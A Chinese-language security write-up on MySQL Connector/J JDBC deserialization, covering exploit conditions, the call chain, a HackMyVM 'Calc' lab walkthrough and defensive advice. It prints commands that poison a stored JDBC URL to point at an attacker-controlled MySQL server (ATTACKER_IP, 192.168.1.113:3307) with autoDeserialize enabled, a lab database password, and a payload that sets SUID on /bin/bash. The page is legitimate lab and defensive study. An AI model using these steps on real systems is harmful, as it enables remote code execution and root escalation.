跳到主要内容

MySQL Connector/J JDBC 反序列化

旧版本 MySQL Connector/J 在特定参数组合下,可能会对服务端返回的数据执行 Java 反序列化。如果高权限 Java 进程读取攻击者可控的 JDBC URL,并连接到攻击者控制的 MySQL 服务,就可能从“配置字段可控”升级为 Java 代码执行。

这类利用链只适合授权实验和靶场复现。真实环境中应优先做版本、依赖和配置面审计,不要对生产服务发起恶意连接。


关键条件

条件说明
可控 JDBC URL攻击者能修改或影响 Java 进程读取的 JDBC 连接串
旧版 Connector/J典型为 com.mysql.jdbc.* 5.1.x 路径
可加入危险参数autoDeserialize=true
可触发拦截器statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
有 gadget 链classpath 中存在可用反序列化 gadget,例如 commons-collections
高权限执行上下文连接动作由 root、服务账号或高权限任务触发
网络可达目标 Java 进程能连到恶意 MySQL 服务

利用思路

简化调用链:

DriverManager.getConnection(evil_jdbc_url)
-> ServerStatusDiffInterceptor.preProcess()
-> SHOW SESSION STATUS
-> 恶意 MySQL 返回 BLOB 序列化数据
-> ResultSetImpl.getObject()
-> ObjectInputStream.readObject()
-> gadget 链执行命令

这里的重点不是“数据库账号本身有 root 权限”,而是 高权限 Java 进程信任了可控 JDBC URL


现场确认

1. 确认 JDBC URL 可控

例如数据库表中存在配置:

SELECT jdbc_url FROM system_config WHERE config_name='master_sync_node';

并且当前数据库用户能更新它:

UPDATE system_config
SET jdbc_url='jdbc:mysql://ATTACKER_IP:3307/calc_db?useSSL=false'
WHERE config_name='master_sync_node';

2. 分析 JAR 依赖

解包或反编译 JAR,确认是否存在:

com/mysql/jdbc/ResultSetImpl.class
com/mysql/jdbc/interceptors/ServerStatusDiffInterceptor.class
org/apache/commons/collections/...

如果是新版 com.mysql.cj.* 路径,利用条件和参数行为需要重新确认,不能套用旧链。

3. 确认高权限触发点

常见触发点:

触发点风险
root cron 执行 JAR可直接变成本地 root RCE
systemd 服务取决于服务账号权限
后台同步任务可能被业务配置间接控制
管理端测试连接管理员点击后触发连接

Calc 案例流程

Calc 中的关键链条:

SQL 注入读取 system_config -> TODO.txt 泄露数据库密码
-> root cron 执行 backend_sync.jar
-> JAR 从数据库读取 jdbc_url 并二次连接
-> 毒化 jdbc_url 指向恶意 MySQL
-> CC6 payload 执行 chmod u+s /bin/bash

毒化 JDBC URL:

mysql -ucalc_user -pvocaloid_miku_01 calc_db -e \
"UPDATE system_config
SET jdbc_url='jdbc:mysql://192.168.1.113:3307/calc_db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor'
WHERE config_name='master_sync_node';"

恶意 MySQL 服务端负责在 SHOW SESSION STATUS 时返回 Java 序列化 BLOB。Calc 文章中的附件为:rogue_mysql.py

完整过程见:HackMyVM Calc 通关记录


防坑点

  1. autoDeserialize=true 和拦截器参数必须实际进入目标 Java 进程的连接串。
  2. 目标 Java 进程要连得到攻击机监听端口,防火墙或 NAT 会影响触发。
  3. gadget 链要匹配目标 JDK 和 classpath,不能只看本机生成 payload 成功。
  4. root cron 有时间间隔,更新配置后要等待下一轮触发。
  5. 利用结束后应恢复 JDBC URL,避免靶机持续连接攻击机。

防御建议

  1. 升级 MySQL Connector/J,避免使用旧版 com.mysql.jdbc.* 驱动。
  2. 不允许低权限用户修改高权限进程会读取的 JDBC URL。
  3. 对 JDBC URL 做白名单校验,只允许固定 host、port、database 和安全参数。
  4. 高权限任务不要从普通业务表读取可执行配置。
  5. 移除不必要的 gadget 依赖,尤其是旧版 commons-collections。
  6. 限制服务出站连接,阻断高权限进程连接未知数据库地址。
  7. 不要在 TODO、脚本、配置文件中明文保存数据库密码。